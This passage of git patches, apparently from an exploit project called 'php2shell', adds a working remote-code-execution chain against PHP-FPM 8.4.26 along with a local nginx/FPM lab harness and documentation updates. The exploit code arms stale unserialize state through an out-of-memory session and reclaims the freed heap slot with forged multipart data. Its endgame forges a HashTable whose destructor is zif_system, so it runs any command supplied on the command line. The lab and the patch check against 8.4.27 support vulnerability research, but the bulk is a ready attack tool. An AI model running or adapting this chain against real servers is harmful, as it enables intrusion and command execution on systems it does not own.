oracle.dump() + return 0 + + +def cmd_build_oom(args) -> int: + builder = Target(args.builder) + sid = args.sid.encode("latin1") + status, _body = big_session_post(builder, sid, args.size) + path = session_file(args.version, sid) + size = os.path.getsize(path) if os.path.isfile(path) else -1 + print(f"builder status={status} session_file={path} size={size}") + return 0 if size > args.size else 1 + + +def cmd_build_ref(args) -> int: + builder = Target(args.builder) + sid = REF_SID + status, body = ref_session_post(builder, sid) + path = session_file(args.version, sid) + content = open(path, "rb").read() if os.path.isfile(path) else b"" + print(f"builder status={status} body={body[:40]!r}") + print(f"session_file={path} content={content!r}") + return 0 if b"R:2" in content else 1 + + +def cmd_producer(args) -> int: + chain = Target(args.base) + sid = args.sid.encode("latin1") + before = find_pool_worker(args.version, "chain") + status, _headers, body = chain.get("/app.php", cookie=b"PHPSESSID=" + sid) + time.sleep(0.2) + after = find_pool_worker(args.version, "chain") + print(f"producer status={status} worker {before} -> {after} " + f"({'DIED' if before != after else 'survived'})") + print(f"body: {body[:160]!r}") + if args.oracle and before == after and before: + oracle = Oracle(args.version) + print(f"BG.data=0x{oracle.unserialize_data():x} " + f"level={oracle.unserialize_level()}") + return 0 + + +def _hexdump(data: bytes, base: int, limit: int = 96) -> str: + lines = [] + for off in range(0, min(len(data), limit), 16): + chunk = data[off:off + 16] + hexs = " ".join(f"{b:02x}" for b in chunk) + lines.append(f" 0x{base + off:012x} {hexs}") + return "\n".join(lines) + + +def cmd_reclaim_probe(args) -> int: + chain = Target(args.base) + builder = Target(args.builder) + oracle = Oracle(args.version) + pads = ([int(x) for x in args.sweep.split(",")] if args.sweep + else [args.pad]) + for pad in pads: + # The producer OOM runs php_session_cancel_decode -> session_destroy, + # which UNLINKS the OOM session file: rebuild it every iteration. + big_session_post(builder, OOM_SID, args.size) + producer_get(chain, OOM_SID) + d = oracle.unserialize_data() + level = oracle.unserialize_level() + if not d or level != 1: + print(f"[!] pad={pad}: stale state not armed (d=0x{d:x} level={level})") + continue + marker = b"PAT" + f"{pad:05d}".encode() + b"!" * 5 + big_value = (marker + b"Q" * 8214)[:8214] + filename = (marker + b"Q" * 8214)[:8214] + for shape in ("field", "filename", "field-first"): + # No PHPSESSID cookie and no progress field: B must NOT decode a + # session (a garbage forged struct would crash var_push). The + # reclaim allocations happen inside rfc1867 during request + # startup; app.php then starts a fresh empty session (no decode). + if shape == "field": + parts: list[dict] = [] + if pad: + parts.append({"name": "pad", "data": b"C" * pad}) + parts.append({"name": "big", "data": big_value}) + elif shape == "filename": + parts = [{"name": "N" * 64, "filename": filename, "data": b"x" * 8}] + else: + parts = [] + if pad: + parts.append({"name": "pad", "data": b"C" * pad}) + parts.append({"name": "big", "data": big_value}) + parts.append({"name": "N" * 64, "filename": b"f.bin", "data": b"x" * 8}) + chain.post_multipart(parts, b"PROBE16BB", timeout=60.0) + try: + region = oracle.read(d, 96) + except OSError as exc: + print(f"[!] pad={pad} shape={shape}: read d failed: {exc}") + oracle = Oracle(args.version) + continue + hit = marker[:8] in region + print(f"[*] pad={pad} shape={shape:11} d=0x{d:x} " + f"level={oracle.unserialize_level()} hit={'YES' if hit else 'no'}") + if hit: + print(_hexdump(region, d)) + return 0 + + +def _forged_benign(param_addr: int) -> bytes: + """8214-byte file-name content: full struct layout with data[1]=FZ long.""" + buf = bytearray(b"\x00" * 8214) + # +0 last -> param_addr (fake var_entries lives in the param buffer) + struct.pack_into(" data[1] is inside our data[]) + struct.pack_into(" int: + """Arbitrary zval-read primitive: forged var_hash at stale d, session + 'php' decode of the ref session, R:2 -> var_access(1) reads a fake + IS_LONG zval planted inside the reclaim buffer -> reflected by app.php. + + Reclaim geometry (lab 8.4.26, calibrated at runtime via the oracle): + 3 pad fields of 4096 + one big field of SIZE=12288 place a buffer that + covers d at content offset K (probed with a marker run against a 404 + endpoint). The consumer B MUST carry a file part after the progress + field, otherwise rfc1867 never fires the pre-RINIT session_start and + the decode would run post-RINIT against a memset BG. + + The per-request heap recycles the 8216-byte slot at one of two addresses; + if the re-armed consume d differs from the probed d, retry (the pair + stabilizes after at most one mismatch).""" + base = Target(args.base) + chain404 = Target(args.base + "/nope.php") + chainapp = Target(args.base + "/app.php") + builder = Target(args.builder) + oracle = Oracle(args.version) + size, need = 12288, 0x440 + + for _attempt in range(4): + try: + d = _arm_stale(base, builder, oracle, args.size) + k = _probe_cover(chain404, oracle, d, need, size) + if k is None: + return 1 + d2 = _rebuild_ref_and_arm(base, builder, oracle, args.size) + except (RuntimeError, OSError) as exc: + print(f"[!] {exc}; refreshing oracle") + time.sleep(0.4) + try: + oracle = Oracle(args.version) + except RuntimeError as oracle_exc: + print(f"[!] {oracle_exc}") + return 1 + continue + if d2 != d: + print(f"[*] slot moved 0x{d:x} -> 0x{d2:x}, retrying") + continue + forged = bytearray(size) + struct.pack_into(" &entries + struct.pack_into(" fake + struct.pack_into(" fake + struct.pack_into(" fake zval + struct.pack_into(" bytes: + """Build the forged reclaim buffer for the endgame chain. + + Layout (content offsets from K; every absolute address is d-relative): + K+0x000 decode-time php_unserialize_data (last=&entries, used_slots=2) + K+0x300 fake zval IS_REFERENCE -> d+0x500 + K+0x400 fake var_dtor_entries (used_slots=0) + K+0x500 fake zend_reference (rc forged 0; val = fake array zval) + K+0x700 fake HashTable (rc 1, pDestructor = zif_system) + K+0x800 fake Bucket doubling as the zif_system execute_data frame + K+0x880 fake zend_string holding the command + K+0x8F0 writable scratch for the zif_system return_value + """ + forged = bytearray(size) + # decode-time forged struct (identical to the primitive) + struct.pack_into(" &entries + struct.pack_into(" fake + struct.pack_into(" fake + struct.pack_into(" fake zval + struct.pack_into(" fake ref at d+0x500 + struct.pack_into(" 1 + struct.pack_into("val.arr + struct.pack_into(" 0 -> fire + struct.pack_into(" fake bucket + struct.pack_into(" fake zend_string; E+0x10 return_value -> + # writable scratch; E+0x2C num_args=1; E+0x50 arg1 zval + struct.pack_into(" int: + """RCE through a forged HashTable destructor (same reclaim pipeline as + the primitive; only the fake zval payload changes). + + The fake zval consumed by R:2 is IS_REFERENCE -> fake zend_reference + (forged rc=0) -> fake IS_ARRAY zval -> fake HashTable with + pDestructor = zif_system. The consume's ZVAL_COPY addrefs the fake + ref 0 -> 1 (the session 'r' entry becomes the only dtored owner; the + fake zval at d+0x300 is a silent second owner that never gets dtored). + At consumer-B request rshutdown the session dtor delrefs 1 -> 0 and + the dtor chain fires: + + zend_reference_destroy(ref) + i_zval_ptr_dtor(&ref->val) fake array zval (rc 1 -> 0) + zend_array_destroy(ht) + zend_hash_destroy(ht) pDestructor != ZVAL_PTR_DTOR + ht->pDestructor(&bucket.val) = zif_system(fake frame) + + zif_system receives the fake execute_data frame in RDI (the bucket at + E doubles as the frame: num_args=1 at E+0x2C, arg1 zval at E+0x50 + pointing at a fake zend_string holding the command). php_exec runs + the command via popen; the RETVAL write through the bogus RSI + return_value pointer and the interior efree then abort the worker - + acceptable: the proof file is already on disk and FPM respawns the + worker. + + The save that precedes the fire (php_session_flush at rshutdown) + serializes the fake ref/array safely: php_add_var_hash addrefs the + fake ref (1 -> 2) and the serialize-var_hash destroy delrefs it back + (2 -> 1); plain arrays are never addref'd.""" + command = args.command.encode("latin1") + if not command or b"\x00" in command: + print("[!] command must be non-empty and contain no NUL bytes") + return 1 + # fake zend_string at d+0x880 (val at +24) must fit below the scratch + # zval at d+0x8F0 + if len(command) > 0x57: + print(f"[!] command too long ({len(command)} > 87 bytes)") + return 1 + proof = (args.proof_file or "out/p1").lstrip("/") + base = Target(args.base) + chain404 = Target(args.base + "/nope.php") + chainapp = Target(args.base + "/app.php") + builder = Target(args.builder) + oracle = Oracle(args.version) + size, need = 12288, 0x900 + + local_proof = os.path.join(LAB, "webroot", proof) + try: + os.remove(local_proof) + except OSError: + pass + + worker_before = find_pool_worker(args.version, "chain") + for _attempt in range(4): + try: + d = _arm_stale(base, builder, oracle, args.size) + k = _probe_cover(chain404, oracle, d, need, size) + if k is None: + return 1 + d2 = _rebuild_ref_and_arm(base, builder, oracle, args.size) + except (RuntimeError, OSError) as exc: + # a dead worker (stale /proc pid) or a missed arm: rebuild the + # oracle against the respawned worker and retry + print(f"[!] {exc}; refreshing oracle") + time.sleep(0.4) + try: + oracle = Oracle(args.version) + except RuntimeError as oracle_exc: + print(f"[!] {oracle_exc}") + return 1 + continue + if d2 != d: + print(f"[*] slot moved 0x{d:x} -> 0x{d2:x}, retrying") + continue + forged = _build_endgame_payload(d, k, size, oracle.zif, command) + + status, _h, _body = _consume_b(chainapp, forged) + print(f"[*] command {command!r} fired (status={status}); waiting for " + f"worker respawn ...") + break + else: + print("[!] reclaim slot never stabilized") + return 1 + + time.sleep(0.8) + worker_after = find_pool_worker(args.version, "chain") + print(f"[*] chain worker {worker_before} -> {worker_after} " + f"({'died after fire' if worker_before != worker_after else 'still alive'})") + for _attempt in range(5): + pstatus, _ph, pbody = base.get("/" + proof) + if pstatus == 200 and pbody: + print(f"[+] RCE proof via /{proof}: {pbody[:120]!r}") + return 0 + time.sleep(0.4) + print(f"[!] no proof at /{proof} (last status={pstatus})") + return 1 + + +def _scan_pattern(oracle: Oracle, pattern: bytes) -> int | None: + for start, end, perms in oracle.maps: + if "rw-p" not in perms or end - start != MEM_CHUNK: + continue + try: + data = oracle.read(start, end - start) + except OSError: + continue + off = data.find(pattern) + if off >= 0: + return start + off + return None + + +def cmd_chain(args) -> int: + print(f"[*] chain: build sessions -> producer -> consumer ({args.phase} phase)") + builder = Target(args.builder) + if not os.path.isfile(session_file(args.version, OOM_SID)): + print("[*] build-oom") + big_session_post(builder, OOM_SID, 4 << 20) + if not os.path.isfile(session_file(args.version, REF_SID)): + print("[*] build-ref") + ref_session_post(builder, REF_SID) + chain = Target(args.base) + status, body = producer_get(chain, OOM_SID) + print(f"[*] producer status={status} body={body[:80]!r}") + oracle = Oracle(args.version) + d = oracle.unserialize_data() + print(f"[*] BG.data=0x{d:x} level={oracle.unserialize_level()}") + if args.phase == "primitive": + return cmd_primitive(args) + if args.phase == "endgame": + return cmd_endgame(args) + return 0 + + +def cmd_patchcheck(args) -> int: + versions = ["8.4.26", "8.4.27"] + ports = {"8.4.26": (8110, 8111), "8.4.27": (8120, 8121)} + for version in versions: + base = f"http://127.0.0.1:{ports[version][0]}" + builder_url = f"http://127.0.0.1:{ports[version][1]}" + print(f"\n=== {version} ===") + chain_t = Target(base) + builder = Target(builder_url) + if not os.path.isfile(session_file(version, OOM_SID)): + big_session_post(builder, OOM_SID, 4 << 20) + # lifecycle + worker = find_pool_worker(version, "chain") + status, body = producer_get(chain_t, OOM_SID) + time.sleep(0.2) + worker2 = find_pool_worker(version, "chain") + print(f"producer status={status} worker {worker}->{worker2} " + f"({'DIED' if worker != worker2 else 'survived'})") + try: + oracle = Oracle(version) + d = oracle.unserialize_data() + level = oracle.unserialize_level() + print(f"BG.data=0x{d:x} level={level} " + f"{'STALE-ARMED' if d and level == 1 else 'clean'}") + except RuntimeError as exc: + print(f"oracle: {exc}") + print("\n[*] expected: 8.4.26 STALE-ARMED, 8.4.27 clean " + "(php_basic_early_rinit memsets BG before body parse)") + return 0 + + +def main() -> int: + parser = argparse.ArgumentParser(description=__doc__.splitlines()[1]) + parser.add_argument("--base", default="http://127.0.0.1:8110") + parser.add_argument("--builder", default="http://127.0.0.1:8111") + parser.add_argument("--version", default="8.4.26") + parser.add_argument("--sid", default=OOM_SID.decode()) + parser.add_argument("--size", type=int, default=4 << 20) + parser.add_argument("--value", type=int, default=424242) + parser.add_argument("--pad", type=int, default=0) + parser.add_argument("--sweep", default=None, + help="comma-separated pad sizes for reclaim-probe") + parser.add_argument("--oracle", action="store_true") + parser.add_argument("--phase", choices=("probe", "primitive", "endgame"), + default="primitive") + parser.add_argument("--command", default="id>out/p1") + parser.add_argument("--proof-file", default="out/p1") + sub = parser.add_subparsers(dest="cmd", required=True) + for name in ("lifecycle", "oracle", "build-oom", "build-ref", "producer", + "reclaim-probe", "primitive", "endgame", "chain", "patchcheck"): + sub.add_parser(name) + args = parser.parse_args() + dispatch = { + "lifecycle": cmd_lifecycle, + "oracle": cmd_oracle, + "build-oom": cmd_build_oom, + "build-ref": cmd_build_ref, + "producer": cmd_producer, + "reclaim-probe": cmd_reclaim_probe, + "primitive": cmd_primitive, + "endgame": cmd_endgame, + "chain": cmd_chain, + "patchcheck": cmd_patchcheck, + } + return dispatch[args.cmd](args) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/php2shell_fpm_labs.py b/tools/php2shell_fpm_labs.py new file mode 100755 index 0000000..c0f094b --- /dev/null +++ b/tools/php2shell_fpm_labs.py @@ -0,0 +1,401 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +php2shell_fpm_labs.py — local nginx + PHP-FPM laboratory (no root, no docker). + +Two user-prefix builds share one nginx: + 8.4.26 chain http :8110 -> fpm :9001 builder http :8111 -> fpm :9002 + 8.4.27 chain http :8120 -> fpm :9011 builder http :8121 -> fpm :9012 + +Pools (php-fpm.conf.in): + chain memory_limit=8M, cleanup=On, save_path=/session + builder memory_limit=64M, cleanup=Off (builds large session files) + +Commands: + python3 tools/php2shell_fpm_labs.py up [--only 8.4.26] + python3 tools/php2shell_fpm_labs.py status + python3 tools/php2shell_fpm_labs.py smoke + python3 tools/php2shell_fpm_labs.py test + python3 tools/php2shell_fpm_labs.py down +""" + +from __future__ import annotations + +import argparse +import os +import pwd +import signal +import socket +import subprocess +import sys +import time +import urllib.request + +HERE = os.path.dirname(os.path.abspath(__file__)) +ROOT = os.path.dirname(HERE) +LAB = os.path.join(ROOT, "lab", "fpm") +RUNTIME = os.path.join(LAB, "runtime") +WEBROOT = os.path.join(LAB, "webroot") +OUTDIR = os.path.join(WEBROOT, "out") +NGINX_PREFIX = os.path.join(RUNTIME, "nginx") +NGINX_BIN = os.path.join(NGINX_PREFIX, "sbin", "nginx") +NGINX_CONF_DIR = os.path.join(NGINX_PREFIX, "conf") +NGINX_CONF = os.path.join(RUNTIME, "nginx.conf") +PHP_INI = os.path.join(LAB, "php.ini") +FPM_CONF_TMPL = os.path.join(LAB, "php-fpm.conf.in") +NGINX_CONF_TMPL = os.path.join(LAB, "nginx.conf.in") + +USER_NAME = pwd.getpwuid(os.getuid()).pw_name +GROUP_NAME = subprocess.run( + ["id", "-gn"], capture_output=True, text=True +).stdout.strip() or USER_NAME + +# version -> (chain_http, builder_http, chain_fpm, builder_fpm) +BUILDS: dict[str, tuple[int, int, int, int]] = { + "8.4.26": (8110, 8111, 9001, 9002), + "8.4.27": (8120, 8121, 9011, 9012), +} + + +def fpm_prefix(version: str) -> str: + return os.path.join(RUNTIME, f"php-{version}") + + +def fpm_bin(version: str) -> str: + return os.path.join(fpm_prefix(version), "sbin", "php-fpm") + + +def render(template: str, mapping: dict[str, str]) -> str: + text = open(template, encoding="utf-8").read() + for key, value in mapping.items(): + text = text.replace(f"@{key}@", value) + return text + + +def port_free(port: int) -> bool: + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + try: + sock.bind(("127.0.0.1", port)) + return True + except OSError: + return False + + +def read_pid(path: str) -> int | None: + try: + pid = int(open(path, encoding="utf-8").read().strip()) + except (OSError, ValueError): + return None + try: + os.kill(pid, 0) + return pid + except OSError: + return None + + +def worker_pids(version: str, pool: str) -> list[int]: + marker = f"php-fpm: pool {pool}".encode() + needle = f"php-{version}".encode() + pids = [] + for name in os.listdir("/proc"): + if not name.isdigit(): + continue + try: + with open(f"/proc/{name}/cmdline", "rb") as handle: + data = handle.read() + if marker in data and needle in data + os.readlink(f"/proc/{name}/exe").encode(): + pids.append(int(name)) + except OSError: + continue + return pids + + +def ensure_dirs(version: str) -> None: + prefix = fpm_prefix(version) + for sub in ("logs", "session", "tmp"): + os.makedirs(os.path.join(prefix, sub), exist_ok=True) + os.makedirs(OUTDIR, exist_ok=True) + try: + os.chmod(os.path.join(prefix, "session"), 0o700) + except OSError: + pass + + +def write_fpm_conf(version: str) -> str: + chain_http, builder_http, chain_fpm, builder_fpm = BUILDS[version] + prefix = fpm_prefix(version) + rendered = render(FPM_CONF_TMPL, { + "RUNTIME": prefix, + "CHAIN_PORT": str(chain_fpm), + "BUILDER_PORT": str(builder_fpm), + "USER": USER_NAME, + "GROUP": GROUP_NAME, + "WEBROOT": WEBROOT, + "SAVEDIR": os.path.join(prefix, "session"), + "VER": version, + }) + path = os.path.join(prefix, "php-fpm.conf") + with open(path, "w", encoding="utf-8") as handle: + handle.write(rendered) + return path + + +def write_nginx_conf(versions: list[str]) -> None: + servers = [] + for version in versions: + chain_http, builder_http, chain_fpm, builder_fpm = BUILDS[version] + prefix = fpm_prefix(version) + for label, http_port, fpm_port in ( + ("chain", chain_http, chain_fpm), + ("builder", builder_http, builder_fpm), + ): + servers.append(f""" +server {{ + listen 127.0.0.1:{http_port}; + server_name _; + root {WEBROOT}; + access_log {prefix}/logs/{label}-access.log; + + location /out/ {{ + root {WEBROOT}; + default_type text/plain; + add_header X-Lab-Static "1"; + }} + + location / {{ + include {NGINX_CONF_DIR}/fastcgi_params; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + fastcgi_pass 127.0.0.1:{fpm_port}; + }} +}}""") + rendered = render(NGINX_CONF_TMPL, { + "RUNTIME": RUNTIME, + "NGINX_CONF": NGINX_CONF_DIR, + "SERVERS": "\n".join(servers), + }) + with open(NGINX_CONF, "w", encoding="utf-8") as handle: + handle.write(rendered) + + +def wait_http(url: str, timeout: float = 20.0) -> bool: + deadline = time.time() + timeout + while time.time() < deadline: + try: + with urllib.request.urlopen(url, timeout=2) as resp: + if resp.status == 200: + return True + except Exception: + time.sleep(0.3) + return False + + +def up(only: set[str] | None) -> None: + versions = [v for v in BUILDS if only is None or v in only] + for version in versions: + if not os.path.isfile(fpm_bin(version)): + print(f"[!] {version}: missing {fpm_bin(version)}; run lab/fpm/build_php.sh {version}") + return + if not os.path.isfile(NGINX_BIN): + print(f"[!] missing {NGINX_BIN}; run lab/fpm/build_nginx.sh") + return + for version in BUILDS: + ensure_dirs(version) + for version in versions: + write_fpm_conf(version) + os.makedirs(os.path.join(RUNTIME, "logs"), exist_ok=True) + # full conf (all versions) so nginx stays the single front + write_nginx_conf(list(BUILDS)) + + busy = [] + for version in versions: + for port in BUILDS[version]: + if not port_free(port): + busy.append(port) + if busy: + print(f"[!] ports busy: {busy} (run 'down' first?)") + return + + for version in versions: + conf = os.path.join(fpm_prefix(version), "php-fpm.conf") + print(f"[*] {version}: php-fpm -t", flush=True) + result = subprocess.run( + [fpm_bin(version), "-t", "-y", conf, "-c", PHP_INI, "-p", fpm_prefix(version)], + capture_output=True, text=True, + ) + if result.returncode != 0: + print(result.stdout, result.stderr) + print(f"[!] {version}: fpm config test failed") + return + + print("[*] nginx -t", flush=True) + result = subprocess.run( + [NGINX_BIN, "-p", NGINX_PREFIX, "-c", NGINX_CONF, "-t"], + capture_output=True, text=True, + ) + if result.returncode != 0: + print(result.stdout, result.stderr) + print("[!] nginx config test failed") + return + + for version in versions: + conf = os.path.join(fpm_prefix(version), "php-fpm.conf") + print(f"[*] {version}: starting php-fpm", flush=True) + result = subprocess.run( + [fpm_bin(version), "-y", conf, "-c", PHP_INI, "-p", fpm_prefix(version), "-D"], + capture_output=True, text=True, + ) + if result.returncode != 0: + print(result.stderr) + print(f"[!] {version}: php-fpm failed to start") + return + pidfile = os.path.join(fpm_prefix(version), "logs", "fpm.pid") + master = read_pid(pidfile) + chain_http, builder_http, _c, _b = BUILDS[version] + ok_chain = wait_http(f"http://127.0.0.1:{chain_http}/index.php") + ok_builder = wait_http(f"http://127.0.0.1:{builder_http}/index.php") + workers = worker_pids(version, "chain") + worker_pids(version, "builder") + print(f" master={master} workers={workers} " + f"chain={'ok' if ok_chain else 'FAIL'} builder={'ok' if ok_builder else 'FAIL'}") + + print("[*] starting nginx", flush=True) + result = subprocess.run( + [NGINX_BIN, "-p", NGINX_PREFIX, "-c", NGINX_CONF], + capture_output=True, text=True, + ) + if result.returncode != 0: + print(result.stderr) + print("[!] nginx failed to start") + return + nginx_pid = read_pid(os.path.join(NGINX_PREFIX, "logs", "nginx.pid")) + print(f" nginx pid={nginx_pid}") + for version in versions: + chain_http, builder_http, _c, _b = BUILDS[version] + ok = wait_http(f"http://127.0.0.1:{chain_http}/index.php") + print(f" {version} front chain:{chain_http}={'ok' if ok else 'FAIL'} " + f"builder:{builder_http}") + print("[+] lab up") + + +def down() -> None: + nginx_pid = read_pid(os.path.join(NGINX_PREFIX, "logs", "nginx.pid")) + if nginx_pid: + subprocess.run([NGINX_BIN, "-p", NGINX_PREFIX, "-c", NGINX_CONF, "-s", "quit"], + capture_output=True) + for _ in range(20): + if read_pid(os.path.join(NGINX_PREFIX, "logs", "nginx.pid")) is None: + break + time.sleep(0.2) + else: + os.kill(nginx_pid, signal.SIGKILL) + for version in BUILDS: + pidfile = os.path.join(fpm_prefix(version), "logs", "fpm.pid") + master = read_pid(pidfile) + if master: + os.kill(master, signal.SIGTERM) + for _ in range(30): + if read_pid(pidfile) is None: + break + time.sleep(0.2) + else: + os.kill(master, signal.SIGKILL) + for pid in worker_pids(version, "chain") + worker_pids(version, "builder"): + try: + os.kill(pid, signal.SIGKILL) + except OSError: + pass + print("[+] lab down") + + +def status() -> None: + nginx_pid = read_pid(os.path.join(NGINX_PREFIX, "logs", "nginx.pid")) + print(f"nginx pid={nginx_pid}") + for version, (chain_http, builder_http, _c, _b) in BUILDS.items(): + pidfile = os.path.join(fpm_prefix(version), "logs", "fpm.pid") + master = read_pid(pidfile) + chain = worker_pids(version, "chain") + builder = worker_pids(version, "builder") + print(f"{version} fpm master={master} chain_worker={chain} builder_worker={builder} " + f"http chain=:{chain_http} builder=:{builder_http}") + + +def smoke() -> None: + ok = True + for version, (chain_http, builder_http, _c, _b) in BUILDS.items(): + for label, port in (("chain", chain_http), ("builder", builder_http)): + url = f"http://127.0.0.1:{port}/index.php" + try: + with urllib.request.urlopen(url, timeout=5) as resp: + body = resp.read().decode() + good = body.strip() == "OK" + except Exception as exc: + good = False + body = str(exc) + print(f"{version} {label:8} {'ok' if good else 'FAIL'} {body.strip()[:60]}") + ok = ok and good + url = f"http://127.0.0.1:{port}/app.php" + try: + with urllib.request.urlopen(url, timeout=5) as resp: + body = resp.read().decode() + good = "SESSION_END" in body + except Exception as exc: + good = False + body = str(exc) + print(f"{version} {label:8} app.php {'ok' if good else 'FAIL'} {body.strip()[:60]}") + ok = ok and good + return 0 if ok else 1 + + +def test() -> None: + results = [] + for version in BUILDS: + chain_http, _b, _c, _f = BUILDS[version] + proof = os.path.join(OUTDIR, "p1") + try: + os.unlink(proof) + except OSError: + pass + cmd = [ + sys.executable, os.path.join(HERE, "php2shell_fpm.py"), + "chain", + "--base", f"http://127.0.0.1:{chain_http}", + "--builder", f"http://127.0.0.1:{BUILDS[version][1]}", + "--version", version, + "--command", "id>out/p1", + "--proof-file", proof, + ] + print(f"\n=== {version} chain ===", flush=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=1200) + print((result.stdout + result.stderr).strip(), flush=True) + if result.returncode == 0 and os.path.isfile(proof): + results.append((version, "RCE", open(proof, encoding="utf-8").read().strip())) + else: + results.append((version, "no RCE (exit %d)" % result.returncode, "")) + print("\n=== summary ===") + for version, text, proof in results: + print(f" {version:8} {text:24} {proof}") + + +def main() -> int: + parser = argparse.ArgumentParser(description="Local nginx+FPM PHP2Shell laboratory.") + parser.add_argument("command", choices=("up", "down", "status", "smoke", "test")) + parser.add_argument("--only", default=None, help="comma-separated versions") + args = parser.parse_args() + only = set(args.only.split(",")) if args.only else None + if args.command == "up": + up(only) + return 0 + if args.command == "down": + down() + return 0 + if args.command == "status": + status() + return 0 + if args.command == "smoke": + return smoke() + test() + return 0 + + +if __name__ == "__main__": + sys.exit(main()) From 58ef08a08186aabf4ac824ef5be7750002c526f0 Mon Sep 17 00:00:00 2001 From: VABISMO Date: Thu, 22 Oct 2026 22:20:13 +0200 Subject: [PATCH 2/3] Fix php2shell_fpm.py CLI examples: global options precede the subcommand patchcheck iterates both lab builds and takes no --base; endgame and primitive require --base/--builder before the subcommand name. --- README.md | 5 +++-- docs/fpm-chain.md | 18 ++++++++++++------ 2 files changed, 15 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index 73f6765..8dcd49c 100644 --- a/README.md +++ b/README.md @@ -161,8 +161,9 @@ python3 tools/php2shell_fpm_labs.py up --version 8.4.26 python3 tools/php2shell_auto.py -u http://127.0.0.1:8110/index.php --sapi fpm \ --builder http://127.0.0.1:8111 # or drive the chain directly: -python3 tools/php2shell_fpm.py endgame \ - --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 +python3 tools/php2shell_fpm.py \ + --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 \ + endgame python3 tools/php2shell_fpm_labs.py down ``` diff --git a/docs/fpm-chain.md b/docs/fpm-chain.md index 0d31dfa..eedecfc 100644 --- a/docs/fpm-chain.md +++ b/docs/fpm-chain.md @@ -144,12 +144,14 @@ i.e. real command execution inside the FPM worker. stale state: ```sh -python3 tools/php2shell_fpm.py patchcheck --base http://127.0.0.1:8110 +python3 tools/php2shell_fpm.py patchcheck # 8.4.26: BG.data=0x7f07be281000 level=1 STALE-ARMED -python3 tools/php2shell_fpm.py patchcheck --base http://127.0.0.1:8120 # 8.4.27: level=0 clean (both workers survive the post-RINIT OOM probe) ``` +`patchcheck` iterates both laboratory builds (ports 8110/8120); it takes no +target arguments. + ## Laboratory `tools/php2shell_fpm_labs.py` runs two user-prefix builds behind one nginx @@ -191,15 +193,19 @@ lab/fpm/runtime/php-8.4.27/sbin/php-fpm \ Directly (recommended first runs): ```sh -python3 tools/php2shell_fpm.py primitive \ - --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 +python3 tools/php2shell_fpm.py \ + --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 \ + primitive # forged benign var_entries; observable via app.php (rvalue) -python3 tools/php2shell_fpm.py endgame \ +python3 tools/php2shell_fpm.py \ --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 \ - --version 8.4.26 --command 'id>out/p1' --proof-file out/p1 + --version 8.4.26 --command 'id>out/p1' --proof-file out/p1 \ + endgame ``` +(Global options come before the subcommand.) + Via the dispatcher (`tools/php2shell_auto.py` fingerprints nginx and routes to the FPM chain; the lab needs an explicit `--builder` because the consumer endpoint alone is not enough for the 4 MB arm phase): From b8b7214331519e7ed5adb53f9bd4058ffb26512e Mon Sep 17 00:00:00 2001 From: VABISMO Date: Thu, 22 Oct 2026 22:32:15 +0200 Subject: [PATCH 3/3] Align contribution with CONTRIBUTING checklist - redact the local lab username from the published proof example - document the FPM profile in docs/profile-inventory.md (table synced with php2shell_inventory.py output, including the pre-existing missing 8.3.0/8.5.0 rows) - state the two-slot reclaim/retry behaviour in the profile status and the README table (probabilistic disclosure) - correct the README profile counters (14 profiles, 6 verified RCE) --- README.md | 10 +++++----- docs/fpm-chain.md | 2 +- docs/profile-inventory.md | 20 +++++++++++++++++++- profiles/8.4.26-fpm.json | 2 +- 4 files changed, 26 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index 8dcd49c..3e78eeb 100644 --- a/README.md +++ b/README.md @@ -36,7 +36,7 @@ not match the profile. | PHP 8.5.11 amd64 | `php:8.5.11-apache` | `php-8.5.11-bookworm-amd64` | yes | yes | **yes** | separate offsets, same `htdata` | | PHP 8.5.10 aarch64 | `php:8.5.10-apache` | `php-8.5.10-bookworm-aarch64` | yes | yes | **yes** | `uid=33(www-data)` | | PHP 8.4.26 amd64 | `php:8.4.26-apache` | `php-8.4.26-bookworm-amd64` | yes | yes | **yes** | reference build | -| PHP 8.4.26 FPM | `php:8.4.26-fpm` (nginx) | `8.4.26-fpm` | n/a | n/a | **yes** | `BG(unserialize)` chain; worker runs `uid=1000` proof | +| PHP 8.4.26 FPM | php-8.4.26 source tarball (nginx+FPM) | `8.4.26-fpm` | n/a | n/a | **yes** | `BG(unserialize)` chain; two-slot reclaim, self-correcting retries | | PHP 8.4.25 aarch64 | `php:8.4.25-apache` | `php-8.4.25-bookworm-aarch64` | yes | yes | **yes** | probabilistic stage 3; retries | | PHP 8.5.0 aarch64 | `php:8.5.0-apache` | `php-8.5.0-bookworm` | yes | yes | no | stage-3 layout not found | | PHP 8.3.35 aarch64 | `php:8.3.35-apache` | `php-8.3.35-bookworm-aarch64` | yes | yes | no | stage-3 reference alive | @@ -48,10 +48,10 @@ not match the profile. | PHP 7.4.33 aarch64 | `php:7.4-apache` | `php-7.4.33-bookworm-aarch64` | no | no | no | UAF; leak shape differs | | PHP 8.2.0 aarch64 | `php:8.2.0-apache` | — (offsets only) | n/a | n/a | no | no heap profile | -**13 heap profiles, 5 with verified RCE. Offsets extracted for 12 builds.** -Plus one FPM profile (`8.4.26-fpm`) with verified RCE through the -`BG(unserialize)` stale-state chain (no heap-leak stages; the stale struct is -located with the oracle each run). +**14 profiles (13 heap + 1 FPM), 6 with verified RCE. Offsets extracted for +12 builds.** The FPM profile has no heap-leak stages: the stale +`BG(unserialize)` struct is located with the oracle each run +([docs/fpm-chain.md](docs/fpm-chain.md)). `Heap leak` is stage 1, `libphp leak` is stage 2 and `RCE` is a real command proof on an isolated lab. `no` means not verified, not necessarily impossible; diff --git a/docs/fpm-chain.md b/docs/fpm-chain.md index eedecfc..594258e 100644 --- a/docs/fpm-chain.md +++ b/docs/fpm-chain.md @@ -132,7 +132,7 @@ proof separately: ```sh curl http://127.0.0.1:8110/out/p1 -# uid=1000(cryptocalypse) gid=1000(cryptocalypse) groups=... +# 